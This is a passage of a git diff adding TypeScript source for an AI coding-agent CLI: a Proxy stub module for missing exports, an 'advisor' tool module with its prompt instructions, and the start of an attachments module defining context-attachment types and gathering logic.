+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/utils/advisor.ts b/_all-in-one-upload/cc-haha/src/utils/advisor.ts
new file mode 100644
index 0000000..54a2dfb
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/advisor.ts
@@ -0,0 +1,145 @@
+import type { BetaUsage } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../services/analytics/growthbook.js'
+import { shouldIncludeFirstPartyOnlyBetas } from './betas.js'
+import { isEnvTruthy } from './envUtils.js'
+import { getInitialSettings } from './settings/settings.js'
+
+// The SDK does not yet have types for advisor blocks.
+// TODO(hackyon): Migrate to the real anthropic SDK types when this feature ships publicly
+export type AdvisorServerToolUseBlock = {
+  type: 'server_tool_use'
+  id: string
+  name: 'advisor'
+  input: { [key: string]: unknown }
+}
+
+export type AdvisorToolResultBlock = {
+  type: 'advisor_tool_result'
+  tool_use_id: string
+  content:
+    | {
+        type: 'advisor_result'
+        text: string
+      }
+    | {
+        type: 'advisor_redacted_result'
+        encrypted_content: string
+      }
+    | {
+        type: 'advisor_tool_result_error'
+        error_code: string
+      }
+}
+
+export type AdvisorBlock = AdvisorServerToolUseBlock | AdvisorToolResultBlock
+
+export function isAdvisorBlock(param: {
+  type: string
+  name?: string
+}): param is AdvisorBlock {
+  return (
+    param.type === 'advisor_tool_result' ||
+    (param.type === 'server_tool_use' && param.name === 'advisor')
+  )
+}
+
+type AdvisorConfig = {
+  enabled?: boolean
+  canUserConfigure?: boolean
+  baseModel?: string
+  advisorModel?: string
+}
+
+function getAdvisorConfig(): AdvisorConfig {
+  return getFeatureValue_CACHED_MAY_BE_STALE<AdvisorConfig>(
+    'tengu_sage_compass',
+    {},
+  )
+}
+
+export function isAdvisorEnabled(): boolean {
+  if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_ADVISOR_TOOL)) {
+    return false
+  }
+  // The advisor beta header is first-party only (Bedrock/Vertex 400 on it).
+  if (!shouldIncludeFirstPartyOnlyBetas()) {
+    return false
+  }
+  return getAdvisorConfig().enabled ?? false
+}
+
+export function canUserConfigureAdvisor(): boolean {
+  return isAdvisorEnabled() && (getAdvisorConfig().canUserConfigure ?? false)
+}
+
+export function getExperimentAdvisorModels():
+  | { baseModel: string; advisorModel: string }
+  | undefined {
+  const config = getAdvisorConfig()
+  return isAdvisorEnabled() &&
+    !canUserConfigureAdvisor() &&
+    config.baseModel &&
+    config.advisorModel
+    ? { baseModel: config.baseModel, advisorModel: config.advisorModel }
+    : undefined
+}
+
+// @[MODEL LAUNCH]: Add the new model if it supports the advisor tool.
+// Checks whether the main loop model supports calling the advisor tool.
+export function modelSupportsAdvisor(model: string): boolean {
+  const m = model.toLowerCase()
+  return (
+    m.includes('opus-4-6') ||
+    m.includes('sonnet-4-6') ||
+    process.env.USER_TYPE === 'ant'
+  )
+}
+
+// @[MODEL LAUNCH]: Add the new model if it can serve as an advisor model.
+export function isValidAdvisorModel(model: string): boolean {
+  const m = model.toLowerCase()
+  return (
+    m.includes('opus-4-6') ||
+    m.includes('sonnet-4-6') ||
+    process.env.USER_TYPE === 'ant'
+  )
+}
+
+export function getInitialAdvisorSetting(): string | undefined {
+  if (!isAdvisorEnabled()) {
+    return undefined
+  }
+  return getInitialSettings().advisorModel
+}
+
+export function getAdvisorUsage(
+  usage: BetaUsage,
+): Array<BetaUsage & { model: string }> {
+  const iterations = usage.iterations as
+    | Array<{ type: string }>
+    | null
+    | undefined
+  if (!iterations) {
+    return []
+  }
+  return iterations.filter(
+    it => it.type === 'advisor_message',
+  ) as unknown as Array<BetaUsage & { model: string }>
+}
+
+export const ADVISOR_TOOL_INSTRUCTIONS = `# Advisor Tool
+
+You have access to an \`advisor\` tool backed by a stronger reviewer model. It takes NO parameters -- when you call it, your entire conversation history is automatically forwarded. The advisor sees the task, every tool call you've made, every result you've seen.
+
+Call advisor BEFORE substantive work -- before writing code, before committing to an interpretation, before building on an assumption. If the task requires orientation first (finding files, reading code, seeing what's there), do that, then call advisor. Orientation is not substantive work. Writing, editing, and declaring an answer are.
+
+Also call advisor:
+- When you believe the task is complete. BEFORE this call, make your deliverable durable: write the file, stage the change, save the result. The advisor call takes time; if the session ends during it, a durable result persists and an unwritten one doesn't.
+- When stuck -- errors recurring, approach not converging, results that don't fit.
+- When considering a change of approach.
+
+On tasks longer than a few steps, call advisor at least once before committing to an approach and once before declaring done. On short reactive tasks where the next action is dictated by tool output you just read, you don't need to keep calling -- the advisor adds most of its value on the first call, before the approach crystallizes.
+
+Give the advice serious weight. If you follow a step and it fails empirically, or you have primary-source evidence that contradicts a specific claim (the file says X, the code does Y), adapt. A passing self-test is not evidence the advice is wrong -- it's evidence your test doesn't check what the advice is checking.
+
+If you've already retrieved data pointing one way and the advisor points another: don't silently switch. Surface the conflict in one more advisor call -- "I found X, you suggest Y, which constraint breaks the tie?" The advisor saw your evidence but may have underweighted it; a reconcile call is cheaper than committing to the wrong branch.`
diff --git a/_all-in-one-upload/cc-haha/src/utils/attachments.ts b/_all-in-one-upload/cc-haha/src/utils/attachments.ts
new file mode 100644
index 0000000..556defe
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/attachments.ts
@@ -0,0 +1,3993 @@
+// biome-ignore-all assist/source/organizeImports: ANT-ONLY import markers must not be reordered
+import {
+  logEvent,
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+} from 'src/services/analytics/index.js'
+import {
+  toolMatchesName,
+  type Tools,
+  type ToolUseContext,
+  type ToolPermissionContext,
+} from '../Tool.js'
+import {
+  FileReadTool,
+  MaxFileReadTokenExceededError,
+  type Output as FileReadToolOutput,
+  readImageWithTokenBudget,
+} from '../tools/FileReadTool/FileReadTool.js'
+import { FileTooLargeError, readFileInRange } from './readFileInRange.js'
+import { expandPath } from './path.js'
+import { countCharInString } from './stringUtils.js'
+import { count, uniq } from './array.js'
+import { getFsImplementation } from './fsOperations.js'
+import { readdir, stat } from 'fs/promises'
+import type { IDESelection } from '../hooks/useIdeSelection.js'
+import { TODO_WRITE_TOOL_NAME } from '../tools/TodoWriteTool/constants.js'
+import { TASK_CREATE_TOOL_NAME } from '../tools/TaskCreateTool/constants.js'
+import { TASK_UPDATE_TOOL_NAME } from '../tools/TaskUpdateTool/constants.js'
+import { BASH_TOOL_NAME } from '../tools/BashTool/toolName.js'
+import { SKILL_TOOL_NAME } from '../tools/SkillTool/constants.js'
+import type { TodoList } from './todo/types.js'
+import {
+  type Task,
+  listTasks,
+  getTaskListId,
+  isTodoV2Enabled,
+} from './tasks.js'
+import { getPlanFilePath, getPlan } from './plans.js'
+import { getConnectedIdeName } from './ide.js'
+import {
+  filterInjectedMemoryFiles,
+  getManagedAndUserConditionalRules,
+  getMemoryFiles,
+  getMemoryFilesForNestedDirectory,
+  getConditionalRulesForCwdLevelDirectory,
+  type MemoryFileInfo,
+} from './claudemd.js'
+import { dirname, parse, relative, resolve } from 'path'
+import { getCwd } from 'src/utils/cwd.js'
+import { getViewedTeammateTask } from '../state/selectors.js'
+import { logError } from './log.js'
+import { logAntError } from './debug.js'
+import { isENOENT, toError } from './errors.js'
+import type { DiagnosticFile } from '../services/diagnosticTracking.js'
+import { diagnosticTracker } from '../services/diagnosticTracking.js'
+import type {
+  AttachmentMessage,
+  Message,
+  MessageOrigin,
+} from 'src/types/message.js'
+import {
+  type QueuedCommand,
+  getImagePasteIds,
+  isValidImagePaste,
+} from 'src/types/textInputTypes.js'
+import { randomUUID, type UUID } from 'crypto'
+import { getSettings_DEPRECATED } from './settings/settings.js'
+import { getSnippetForTwoFileDiff } from 'src/tools/FileEditTool/utils.js'
+import type {
+  ContentBlockParam,
+  ImageBlockParam,
+  Base64ImageSource,
+} from '@anthropic-ai/sdk/resources/messages.mjs'
+import { maybeResizeAndDownsampleImageBlock } from './imageResizer.js'
+import type { PastedContent } from './config.js'
+import { getGlobalConfig } from './config.js'
+import {
+  getDefaultSonnetModel,
+  getDefaultHaikuModel,
+  getDefaultOpusModel,
+} from './model/model.js'
+import type { ReadResourceResult } from '@modelcontextprotocol/sdk/types.js'
+import { getSkillToolCommands, getMcpSkillCommands } from '../commands.js'
+import type { Command } from '../types/command.js'
+import uniqBy from 'lodash-es/uniqBy.js'
+import { getProjectRoot } from '../bootstrap/state.js'
+import { formatCommandsWithinBudget } from '../tools/SkillTool/prompt.js'
+import { getContextWindowForModel } from './context.js'
+import type { DiscoverySignal } from '../services/skillSearch/signals.js'
+// Conditional require for DCE. All skill-search string literals that would
+// otherwise leak into external builds live inside these modules. The only
+// surfaces in THIS file are: the maybe() call (gated via spread below) and
+// the skill_listing suppression check (uses the same skillSearchModules null
+// check). The type-only DiscoverySignal import above is erased at compile time.
+/* eslint-disable @typescript-eslint/no-require-imports */
+const skillSearchModules = feature('EXPERIMENTAL_SKILL_SEARCH')
+  ? {
+      featureCheck:
+        require('../services/skillSearch/featureCheck.js') as typeof import('../services/skillSearch/featureCheck.js'),
+      prefetch:
+        require('../services/skillSearch/prefetch.js') as typeof import('../services/skillSearch/prefetch.js'),
+    }
+  : null
+const autoModeStateModule = feature('TRANSCRIPT_CLASSIFIER')
+  ? (require('./permissions/autoModeState.js') as typeof import('./permissions/autoModeState.js'))
+  : null
+/* eslint-enable @typescript-eslint/no-require-imports */
+import {
+  MAX_LINES_TO_READ,
+  FILE_READ_TOOL_NAME,
+} from 'src/tools/FileReadTool/prompt.js'
+import { getDefaultFileReadingLimits } from 'src/tools/FileReadTool/limits.js'
+import { cacheKeys, type FileStateCache } from './fileStateCache.js'
+import {
+  createAbortController,
+  createChildAbortController,
+} from './abortController.js'
+import { isAbortError } from './errors.js'
+import {
+  getFileModificationTimeAsync,
+  isFileWithinReadSizeLimit,
+} from './file.js'
+import type { AgentDefinition } from '../tools/AgentTool/loadAgentsDir.js'
+import { filterAgentsByMcpRequirements } from '../tools/AgentTool/loadAgentsDir.js'
+import { AGENT_TOOL_NAME } from '../tools/AgentTool/constants.js'
+import {
+  formatAgentLine,
+  shouldInjectAgentListInMessages,
+} from '../tools/AgentTool/prompt.js'
+import { filterDeniedAgents } from './permissions/permissions.js'
+import { getSubscriptionType } from './auth.js'
+import { mcpInfoFromString } from '../services/mcp/mcpStringUtils.js'
+import {
+  matchingRuleForInput,
+  pathInAllowedWorkingPath,
+} from './permissions/filesystem.js'
+import {
+  generateTaskAttachments,
+  applyTaskOffsetsAndEvictions,
+} from './task/framework.js'
+import { getTaskOutputPath } from './task/diskOutput.js'
+import { drainPendingMessages } from '../tasks/LocalAgentTask/LocalAgentTask.js'
+import type { TaskType, TaskStatus } from '../Task.js'
+import {
+  getOriginalCwd,
+  getSessionId,
+  getSdkBetas,
+  getTotalCostUSD,
+  getTotalOutputTokens,
+  getCurrentTurnTokenBudget,
+  getTurnOutputTokens,
+  hasExitedPlanModeInSession,
+  setHasExitedPlanMode,
+  needsPlanModeExitAttachment,
+  setNeedsPlanModeExitAttachment,
+  needsAutoModeExitAttachment,
+  setNeedsAutoModeExitAttachment,
+  getLastEmittedDate,
+  setLastEmittedDate,
+  getKairosActive,
+} from '../bootstrap/state.js'
+import type { QuerySource } from '../constants/querySource.js'
+import {
+  getDeferredToolsDelta,
+  isDeferredToolsDeltaEnabled,
+  isToolSearchEnabledOptimistic,
+  isToolSearchToolAvailable,
+  modelSupportsToolReference,
+  type DeferredToolsDeltaScanContext,
+} from './toolSearch.js'
+import {
+  getMcpInstructionsDelta,
+  isMcpInstructionsDeltaEnabled,
+  type ClientSideInstruction,
+} from './mcpInstructionsDelta.js'
+import { CLAUDE_IN_CHROME_MCP_SERVER_NAME } from './claudeInChrome/common.js'
+import { CHROME_TOOL_SEARCH_INSTRUCTIONS } from './claudeInChrome/prompt.js'
+import type { MCPServerConnection } from '../services/mcp/types.js'
+import type {
+  HookEvent,
+  SyncHookJSONOutput,
+} from 'src/entrypoints/agentSdkTypes.js'
+import {
+  checkForAsyncHookResponses,
+  removeDeliveredAsyncHooks,
+} from './hooks/AsyncHookRegistry.js'
+import {
+  checkForLSPDiagnostics,
+  clearAllLSPDiagnostics,
+} from '../services/lsp/LSPDiagnosticRegistry.js'
+import { logForDebugging } from './debug.js'
+import {
+  extractTextContent,
+  getUserMessageText,
+  isThinkingMessage,
+} from './messages.js'
+import { isHumanTurn } from './messagePredicates.js'
+import { isEnvTruthy, getClaudeConfigHomeDir } from './envUtils.js'
+import { feature } from 'bun:bundle'
+/* eslint-disable @typescript-eslint/no-require-imports */
+const BRIEF_TOOL_NAME: string | null =
+  feature('KAIROS') || feature('KAIROS_BRIEF')
+    ? (
+        require('../tools/BriefTool/prompt.js') as typeof import('../tools/BriefTool/prompt.js')
+      ).BRIEF_TOOL_NAME
+    : null
+const sessionTranscriptModule = feature('KAIROS')
+  ? (require('../services/sessionTranscript/sessionTranscript.js') as typeof import('../services/sessionTranscript/sessionTranscript.js'))
+  : null
+/* eslint-enable @typescript-eslint/no-require-imports */
+import { hasUltrathinkKeyword, isUltrathinkEnabled } from './thinking.js'
+import {
+  tokenCountFromLastAPIResponse,
+  tokenCountWithEstimation,
+} from './tokens.js'
+import {
+  getEffectiveContextWindowSize,
+  isAutoCompactEnabled,
+} from '../services/compact/autoCompact.js'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../services/analytics/growthbook.js'
+import {
+  hasInstructionsLoadedHook,
+  executeInstructionsLoadedHooks,
+  type HookBlockingError,
+  type InstructionsMemoryType,
+} from './hooks.js'
+import { jsonStringify } from './slowOperations.js'
+import { isPDFExtension } from './pdfUtils.js'
+import { getLocalISODate } from '../constants/common.js'
+import { getPDFPageCount } from './pdf.js'
+import { PDF_AT_MENTION_INLINE_THRESHOLD } from '../constants/apiLimits.js'
+import { isAgentSwarmsEnabled } from './agentSwarmsEnabled.js'
+import { findRelevantMemories } from '../memdir/findRelevantMemories.js'
+import { memoryAge, memoryFreshnessText } from '../memdir/memoryAge.js'
+import { getAutoMemPath, isAutoMemoryEnabled } from '../memdir/paths.js'
+import { getAgentMemoryDir } from '../tools/AgentTool/agentMemory.js'
+import {
+  readUnreadMessages,
+  markMessagesAsReadByPredicate,
+  isShutdownApproved,
+  isStructuredProtocolMessage,
+  isIdleNotification,
+} from './teammateMailbox.js'
+import {
+  getAgentName,
+  getAgentId,
+  getTeamName,
+  isTeamLead,
+} from './teammate.js'
+import { isInProcessTeammate } from './teammateContext.js'
+import { removeTeammateFromTeamFile } from './swarm/teamHelpers.js'
+import { unassignTeammateTasks } from './tasks.js'
+import { getCompanionIntroAttachment } from '../buddy/prompt.js'
+
+export const TODO_REMINDER_CONFIG = {
+  TURNS_SINCE_WRITE: 10,
+  TURNS_BETWEEN_REMINDERS: 10,
+} as const
+
+export const PLAN_MODE_ATTACHMENT_CONFIG = {
+  TURNS_BETWEEN_ATTACHMENTS: 5,
+  FULL_REMINDER_EVERY_N_ATTACHMENTS: 5,
+} as const
+
+export const AUTO_MODE_ATTACHMENT_CONFIG = {
+  TURNS_BETWEEN_ATTACHMENTS: 5,
+  FULL_REMINDER_EVERY_N_ATTACHMENTS: 5,
+} as const
+
+const MAX_MEMORY_LINES = 200
+// Line cap alone doesn't bound size (200 × 500-char lines = 100KB).  The
+// surfacer injects up to 5 files per turn via <system-reminder>, bypassing
+// the per-message tool-result budget, so a tight per-file byte cap keeps
+// aggregate injection bounded (5 × 4KB = 20KB/turn).  Enforced via
+// readFileInRange's truncateOnByteLimit option.  Truncation means the
+// most-relevant memory still surfaces: the frontmatter + opening context
+// is usually what matters.
+const MAX_MEMORY_BYTES = 4096
+
+export const RELEVANT_MEMORIES_CONFIG = {
+  // Per-turn cap (5 × 4KB = 20KB) bounds a single injection, but over a
+  // long session the selector keeps surfacing distinct files — ~26K tokens/
+  // session observed in prod.  Cap the cumulative bytes: once hit, stop
+  // prefetching entirely.  Budget is ~3 full injections; after that the
+  // most-relevant memories are already in context.  Scanning messages
+  // (rather than tracking in toolUseContext) means compact naturally
+  // resets the counter — old attachments are gone from context, so
+  // re-surfacing is valid.
+  MAX_SESSION_BYTES: 60 * 1024,
+} as const
+
+export const VERIFY_PLAN_REMINDER_CONFIG = {
+  TURNS_BETWEEN_REMINDERS: 10,
+} as const
+
+export type FileAttachment = {
+  type: 'file'
+  filename: string
+  content: FileReadToolOutput
+  /**
+   * Whether the file was truncated due to size limits
+   */
+  truncated?: boolean
+  /** Path relative to CWD at creation time, for stable display */
+  displayPath: string
+}
+
+export type CompactFileReferenceAttachment = {
+  type: 'compact_file_reference'
+  filename: string
+  /** Path relative to CWD at creation time, for stable display */
+  displayPath: string
+}
+
+export type PDFReferenceAttachment = {
+  type: 'pdf_reference'
+  filename: string
+  pageCount: number
+  fileSize: number
+  /** Path relative to CWD at creation time, for stable display */
+  displayPath: string
+}
+
+export type AlreadyReadFileAttachment = {
+  type: 'already_read_file'
+  filename: string
+  content: FileReadToolOutput
+  /**
+   * Whether the file was truncated due to size limits
+   */
+  truncated?: boolean
+  /** Path relative to CWD at creation time, for stable display */
+  displayPath: string
+}
+
+export type AgentMentionAttachment = {
+  type: 'agent_mention'
+  agentType: string
+}
+
+export type AsyncHookResponseAttachment = {
+  type: 'async_hook_response'
+  processId: string
+  hookName: string
+  hookEvent: HookEvent | 'StatusLine' | 'FileSuggestion'
+  toolName?: string
+  response: SyncHookJSONOutput
+  stdout: string
+  stderr: string
+  exitCode?: number
+}
+
+export type HookAttachment =
+  | HookCancelledAttachment
+  | {
+      type: 'hook_blocking_error'
+      blockingError: HookBlockingError
+      hookName: string
+      toolUseID: string
+      hookEvent: HookEvent
+    }
+  | HookNonBlockingErrorAttachment
+  | HookErrorDuringExecutionAttachment
+  | {
+      type: 'hook_stopped_continuation'
+      message: string
+      hookName: string
+      toolUseID: string
+      hookEvent: HookEvent
+    }
+  | HookSuccessAttachment
+  | {
+      type: 'hook_additional_context'
+      content: string[]
+      hookName: string
+      toolUseID: string
+      hookEvent: HookEvent
+    }
+  | HookSystemMessageAttachment
+  | HookPermissionDecisionAttachment
+
+export type HookPermissionDecisionAttachment = {
+  type: 'hook_permission_decision'
+  decision: 'allow' | 'deny'
+  toolUseID: string
+  hookEvent: HookEvent
+}
+
+export type HookSystemMessageAttachment = {
+  type: 'hook_system_message'
+  content: string
+  hookName: string
+  toolUseID: string
+  hookEvent: HookEvent
+}
+
+export type HookCancelledAttachment = {
+  type: 'hook_cancelled'
+  hookName: string
+  toolUseID: string
+  hookEvent: HookEvent
+  command?: string
+  durationMs?: number
+}
+
+export type HookErrorDuringExecutionAttachment = {
+  type: 'hook_error_during_execution'
+  content: string
+  hookName: string
+  toolUseID: string
+  hookEvent: HookEvent
+  command?: string
+  durationMs?: number
+}
+
+export type HookSuccessAttachment = {
+  type: 'hook_success'
+  content: string
+  hookName: string
+  toolUseID: string
+  hookEvent: HookEvent
+  stdout?: string
+  stderr?: string
+  exitCode?: number
+  command?: string
+  durationMs?: number
+}
+
+export type HookNonBlockingErrorAttachment = {
+  type: 'hook_non_blocking_error'
+  hookName: string
+  stderr: string
+  stdout: string
+  exitCode: number
+  toolUseID: string
+  hookEvent: HookEvent
+  command?: string
+  durationMs?: number
+}
+
+export type Attachment =
+  /**
+   * User at-mentioned the file
+   */
+  | FileAttachment
+  | CompactFileReferenceAttachment
+  | PDFReferenceAttachment
+  | AlreadyReadFileAttachment
+  /**
+   * An at-mentioned file was edited
+   */
+  | {
+      type: 'edited_text_file'
+      filename: string
+      snippet: string
+    }
+  | {
+      type: 'edited_image_file'
+      filename: string
+      content: FileReadToolOutput
+    }
+  | {
+      type: 'directory'
+      path: string
+      content: string
+      /** Path relative to CWD at creation time, for stable display */
+      displayPath: string
+    }
+  | {
+      type: 'selected_lines_in_ide'
+      ideName: string
+      lineStart: number
+      lineEnd: number
+      filename: string
+      content: string
+      /** Path relative to CWD at creation time, for stable display */
+      displayPath: string
+    }
+  | {
+      type: 'opened_file_in_ide'
+      filename: string
+    }
+  | {
+      type: 'todo_reminder'
+      content: TodoList
+      itemCount: number
+    }
+  | {
+      type: 'task_reminder'
+      content: Task[]
+      itemCount: number
+    }
+  | {
+      type: 'nested_memory'
+      path: string
+      content: MemoryFileInfo
+      /** Path relative to CWD at creation time, for stable display */
+      displayPath: string
+    }
+  | {
+      type: 'relevant_memories'
+      memories: {
+        path: string
+        content: string
+        mtimeMs: number
+        /**
+         * Pre-computed header string (age + path prefix).  Computed once
+         * at attachment-creation time so the rendered bytes are stable
+         * across turns — recomputing memoryAge(mtimeMs) at render time
+         * calls Date.now(), so "saved 3 days ago" becomes "saved 4 days
+         * ago" across turns → different bytes → prompt cache bust.
+         * Optional for backward compat with resumed sessions; render
+         * path falls back to recomputing if missing.
+         */
+        header?: string
+        /**
+         * lineCount when the file was truncated by readMemoriesForSurfacing,
+         * else undefined. Threaded to the readFileState write so
+         * getChangedFiles skips truncated memories (partial content would
+         * yield a misleading diff).
+         */
+        limit?: number
+      }[]
+    }
+  | {
+      type: 'dynamic_skill'
+      skillDir: string
+      skillNames: string[]
+      /** Path relative to CWD at creation time, for stable display */
+      displayPath: string
+    }
+  | {
+      type: 'skill_listing'
+      content: string
+      skillCount: number
+      isInitial: boolean
+    }
+  | {
+      type: 'skill_discovery'
+      skills: { name: string; description: string; shortId?: string }[]
+      signal: DiscoverySignal
+      source: 'native' | 'aki' | 'both'
+    }
+  | {
+      type: 'queued_command'
+      prompt: string | Array<ContentBlockParam>
+      source_uuid?: UUID
+      imagePasteIds?: number[]
+      /** Original queue mode — 'prompt' for user messages, 'task-notification' for system events */
+      commandMode?: string
+      /** Provenance carried from QueuedCommand so mid-turn drains preserve it */
+      origin?: MessageOrigin
+      /** Carried from QueuedCommand.isMeta — distinguishes human-typed from system-injected */
+      isMeta?: boolean
+    }
+  | {
+      type: 'output_style'
+      style: string
+    }
+  | {
+      type: 'diagnostics'
+      files: DiagnosticFile[]
+      isNew: boolean
+    }
+  | {
+      type: 'plan_mode'
+      reminderType: 'full' | 'sparse'
+      isSubAgent?: boolean
+      planFilePath: string
+      planExists: boolean
+    }
+  | {
+      type: 'plan_mode_reentry'
+      planFilePath: string
+    }
+  | {
+      type: 'plan_mode_exit'
+      planFilePath: string
+      planExists: boolean
+    }
+  | {
+      type: 'auto_mode'
+      reminderType: 'full' | 'sparse'
+    }
+  | {
+      type: 'auto_mode_exit'
+    }
+  | {
+      type: 'critical_system_reminder'
+      content: string
+    }
+  | {
+      type: 'plan_file_reference'
+      planFilePath: string
+      planContent: string
+    }
+  | {
+      type: 'mcp_resource'
+      server: string
+      uri: string
+      name: string
+      description?: string
+      content: ReadResourceResult
+    }
+  | {
+      type: 'command_permissions'
+      allowedTools: string[]
+      model?: string
+    }
+  | AgentMentionAttachment
+  | {
+      type: 'task_status'
+      taskId: string
+      taskType: TaskType
+      status: TaskStatus
+      description: string
+      deltaSummary: string | null
+      outputFilePath?: string
+    }
+  | AsyncHookResponseAttachment
+  | {
+      type: 'token_usage'
+      used: number
+      total: number
+      remaining: number
+    }
+  | {
+      type: 'budget_usd'
+      used: number
+      total: number
+      remaining: number
+    }
+  | {
+      type: 'output_token_usage'
+      turn: number
+      session: number
+      budget: number | null
+    }
+  | {
+      type: 'structured_output'
+      data: unknown
+    }
+  | TeammateMailboxAttachment
+  | TeamContextAttachment
+  | HookAttachment
+  | {
+      type: 'invoked_skills'
+      skills: Array<{
+        name: string
+        path: string
+        content: string
+      }>
+    }
+  | {
+      type: 'verify_plan_reminder'
+    }
+  | {
+      type: 'max_turns_reached'
+      maxTurns: number
+      turnCount: number
+    }
+  | {
+      type: 'current_session_memory'
+      content: string
+      path: string
+      tokenCount: number
+    }
+  | {
+      type: 'teammate_shutdown_batch'
+      count: number
+    }
+  | {
+      type: 'compaction_reminder'
+    }
+  | {
+      type: 'context_efficiency'
+    }
+  | {
+      type: 'date_change'
+      newDate: string
+    }
+  | {
+      type: 'ultrathink_effort'
+      level: 'high'
+    }
+  | {
+      type: 'deferred_tools_delta'
+      addedNames: string[]
+      addedLines: string[]
+      removedNames: string[]
+    }
+  | {
+      type: 'agent_listing_delta'
+      addedTypes: string[]
+      addedLines: string[]
+      removedTypes: string[]
+      /** True when this is the first announcement in the conversation */
+      isInitial: boolean
+      /** Whether to include the "launch multiple agents concurrently" note (non-pro subscriptions) */
+      showConcurrencyNote: boolean
+    }
+  | {
+      type: 'mcp_instructions_delta'
+      addedNames: string[]
+      addedBlocks: string[]
+      removedNames: string[]
+    }
+  | {
+      type: 'companion_intro'
+      name: string
+      species: string
+    }
+  | {
+      type: 'bagel_console'
+      errorCount: number
+      warningCount: number
+      sample: string
+    }
+
+export type TeammateMailboxAttachment = {
+  type: 'teammate_mailbox'
+  messages: Array<{
+    from: string
+    text: string
+    timestamp: string
+    color?: string
+    summary?: string
+  }>
+}
+
+export type TeamContextAttachment = {
+  type: 'team_context'
+  agentId: string
+  agentName: string
+  teamName: string
+  teamConfigPath: string
+  taskListPath: string
+}
+
+/**
+ * This is janky
+ * TODO: Generate attachments when we create messages
+ */
+export async function getAttachments(
+  input: string | null,
+  toolUseContext: ToolUseContext,
+  ideSelection: IDESelection | null,
+  queuedCommands: QueuedCommand[],
+  messages?: Message[],
+  querySource?: QuerySource,
+  options?: { skipSkillDiscovery?: boolean },
+): Promise<Attachment[]> {
+  if (
+    isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_ATTACHMENTS) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
+  ) {
+    // query.ts:removeFromQueue dequeues these unconditionally after
+    // getAttachmentMessages runs — returning [] here silently drops them.
+    // Coworker runs with --bare and depends on task-notification for
+    // mid-tool-call notifications from Local*Task/Remote*Task.
+    return getQueuedCommandAttachments(queuedCommands)
+  }
+
+  // This will slow down submissions
+  // TODO: Compute attachments as the user types, not here (though we use this
+  // function for slash command prompts too)
+  const abortController = createAbortController()
+  const timeoutId = setTimeout(ac => ac.abort(), 1000, abortController)
+  const context = { ...toolUseContext, abortController }
+
+  const isMainThread = !toolUseContext.agentId
+
+  // Attachments which are added in response to on user input
+  const userInputAttachments = input
+    ? [
+        maybe('at_mentioned_files', () =>
+          processAtMentionedFiles(input, context),
+        ),
+        maybe('mcp_resources', () =>
+          processMcpResourceAttachments(input, context),
+        ),
+        maybe('agent_mentions', () =>
+          Promise.resolve(
+            processAgentMentions(
+              input,
+              toolUseContext.options.agentDefinitions.activeAgents,
+            ),
+          ),
+        ),
+        // Skill discovery on turn 0 (user input as signal). Inter-turn
+        // discovery runs via startSkillDiscoveryPrefetch in query.ts,
+        // gated on write-pivot detection — see skillSearch/prefetch.ts.
+        // feature() here lets DCE drop the 'skill_discovery' string (and the
+        // function it calls) from external builds.
+        //
+        // skipSkillDiscovery gates out the SKILL.md-expansion path
+        // (getMessagesForPromptSlashCommand). When a skill is invoked, its
+        // SKILL.md content is passed as `input` here to extract @-mentions —
+        // but that content is NOT user intent and must not trigger discovery.
+        // Without this gate, a 110KB SKILL.md fires ~3.3s of chunked AKI
+        // queries on every skill invocation (session 13a9afae).
+        ...(feature('EXPERIMENTAL_SKILL_SEARCH') &&
+        skillSearchModules &&
+        !options?.skipSkillDiscovery
+          ? [
+              maybe('skill_discovery', () =>
+                skillSearchModules.prefetch.getTurnZeroSkillDiscovery(
+                  input,
+                  messages ?? [],
+                  context,
+                ),
+              ),
+            ]
+          : []),
+      ]
+    : []
+
+  // Process user input attachments first (includes @mentioned files)
+  // This ensures files are added to nestedMemoryAttachmentTriggers before nested_memory processes them
+  const userAttachmentResults = await Promise.all(userInputAttachments)
+
+  // Thread-safe attachments available in sub-agents
+  // NOTE: These must be created AFTER userInputAttachments completes to ensure
+  // nestedMemoryAttachmentTriggers is populated before getNestedMemoryAttachments runs
+  const allThreadAttachments = [
+    // queuedCommands is already agent-scoped by the drain gate in query.ts —
+    // main thread gets agentId===undefined, subagents get their own agentId.
+    // Must run for all threads or subagent notifications drain into the void
+    // (removed from queue by removeFromQueue but never attached).
+    maybe('queued_commands', () => getQueuedCommandAttachments(queuedCommands)),
+    maybe('date_change', () =>
+      Promise.resolve(getDateChangeAttachments(messages)),
+    ),
+    maybe('ultrathink_effort', () =>
+      Promise.resolve(getUltrathinkEffortAttachment(input)),
+    ),
+    maybe('deferred_tools_delta', () =>
+      Promise.resolve(
+        getDeferredToolsDeltaAttachment(
+          toolUseContext.options.tools,
+          toolUseContext.options.mainLoopModel,
+          messages,
+          {
+            callSite: isMainThread
+              ? 'attachments_main'
+              : 'attachments_subagent',
+            querySource,
+          },
+        ),
+      ),
+    ),
+    maybe('agent_listing_delta', () =>
+      Promise.resolve(getAgentListingDeltaAttachment(toolUseContext, messages)),
+    ),
+    maybe('mcp_instructions_delta', () =>
+      Promise.resolve(
+        getMcpInstructionsDeltaAttachment(
+          toolUseContext.options.mcpClients,
+          toolUseContext.options.tools,
